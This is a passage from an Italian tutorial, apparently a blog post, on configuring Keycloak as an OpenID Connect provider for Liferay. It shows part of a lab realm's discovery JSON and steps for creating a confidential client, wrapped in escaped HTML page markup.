&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;registration_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/clients-registrations/openid-connect&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;token_endpoint_auth_methods_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;private_key_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_basic&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;tls_client_auth&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;token_endpoint_auth_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;introspection_endpoint_auth_methods_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;private_key_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_basic&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;tls_client_auth&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;introspection_endpoint_auth_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;claims_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;aud&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;sub&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;iss&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;auth_time&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;given_name&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;family_name&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;preferred_username&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;email&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;acr&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;claim_types_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;normal&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;claims_parameter_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;scopes_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;openid&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;offline_access&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;web-origins&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;phone&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;roles&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;email&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;address&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;profile&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;microprofile-jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;request_parameter_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;request_uri_parameter_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;require_request_uri_registration&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;code_challenge_methods_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;plain&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;S256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;tls_client_certificate_bound_access_tokens&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;revocation_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/revoke&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;revocation_endpoint_auth_methods_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;private_key_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_basic&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;tls_client_auth&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;client_secret_jwt&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;revocation_endpoint_auth_signing_alg_values_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;HS384&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ES512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS256&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;RS512&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;backchannel_logout_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;backchannel_logout_session_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;device_authorization_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth/device&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;backchannel_token_delivery_modes_supported&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;poll&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;backchannel_authentication_endpoint&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/ext/ciba/auth&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - OpenID Endpoint Configuration JSON Document&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Ricorda che&lt;/strong&gt;: i metadati di configurazione sono importanti per la successiva
configurazione del componente OpenID Connect di Liferay. Tieni quindi da parte
questi dati.&lt;/p&gt;&lt;h3 id=&quot;22---creazione-del-client-openid-connect&quot;&gt;2.2 - Creazione del client OpenID Connect&lt;/h3&gt;&lt;p&gt;Il secondo step richiede la creazione di un nuovo client OpenID Connect. I dati
essenziali per poter creare il client sono indicati a seguire.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Client ID&lt;/strong&gt;: identificativo univoco del client.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt;: descrizione del client.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Access Type&lt;/strong&gt;: tipo di accesso che in questo caso deve essere impostato a confidentials. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Valid Redirect URIs&lt;/strong&gt;: lista delle URI di redirect che devono essere considerate valide da Keycloak.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Per avviare la creazione del nuovo client, dalla sezione &lt;em&gt;Configure&lt;/em&gt; del Realm,
selezionare la voce &lt;em&gt;Clients&lt;/em&gt; e successivamente cliccare sul pulsante &lt;em&gt;Create&lt;/em&gt;.
Le figure a seguire mostrano le maschere di creazione del nuovo client.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/aea69bccb3aa7e5de102ff27a35dfdb3/6fcb6/creazione-client.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:34.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;138\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20138\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2069v69h67V43h332v48a934%20934%200%20002-22V-1H0v69m0%2014l1%2036c0-12%200-19%201-18l1-5-1-5a217%20217%200%2001-2-8\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/aea69bccb3aa7e5de102ff27a35dfdb3/c85cb/creazione-client.webp 300w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/e88ff/creazione-client.webp 600w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/92f8c/creazione-client.webp 1200w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/dff8d/creazione-client.webp 1523w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/aea69bccb3aa7e5de102ff27a35dfdb3/5a46d/creazione-client.png 300w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/0a47e/creazione-client.png 600w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/c1b63/creazione-client.png 1200w,/static/aea69bccb3aa7e5de102ff27a35dfdb3/6fcb6/creazione-client.png 1523w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 5 - Accesso alla creazione di un nuovo client dalla sezione Clients&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/aea69bccb3aa7e5de102ff27a35dfdb3/c1b63/creazione-client.png&quot; title=&quot;Figura 5 - Accesso alla creazione di un nuovo client dalla sezione Clients&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 5 - Accesso alla creazione di un nuovo client dalla sezione Clients&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/25955c44373bb2b8eb55004f22a422ba/fb4e7/creazione-client-inserimento-parametri.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;147\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20147\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2046a404%20404%200%20001%2055l-1%2023v23h66V43h333v52a600%20600%200%20002-22V0H0v46m130%2095l-1%204h14v-8h-13v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/25955c44373bb2b8eb55004f22a422ba/c85cb/creazione-client-inserimento-parametri.webp 300w,/static/25955c44373bb2b8eb55004f22a422ba/e88ff/creazione-client-inserimento-parametri.webp 600w,/static/25955c44373bb2b8eb55004f22a422ba/92f8c/creazione-client-inserimento-parametri.webp 1200w,/static/25955c44373bb2b8eb55004f22a422ba/ba879/creazione-client-inserimento-parametri.webp 1519w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/25955c44373bb2b8eb55004f22a422ba/5a46d/creazione-client-inserimento-parametri.png 300w,/static/25955c44373bb2b8eb55004f22a422ba/0a47e/creazione-client-inserimento-parametri.png 600w,/static/25955c44373bb2b8eb55004f22a422ba/c1b63/creazione-client-inserimento-parametri.png 1200w,/static/25955c44373bb2b8eb55004f22a422ba/fb4e7/creazione-client-inserimento-parametri.png 1519w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 6 - Creazione del nuovo client con Client ID liferay-portal-client&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/25955c44373bb2b8eb55004f22a422ba/c1b63/creazione-client-inserimento-parametri.png&quot; title=&quot;Figura 6 - Creazione del nuovo client con Client ID liferay-portal-client&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - Creazione del nuovo client con Client ID liferay-portal-client&lt;/figcaption&gt;
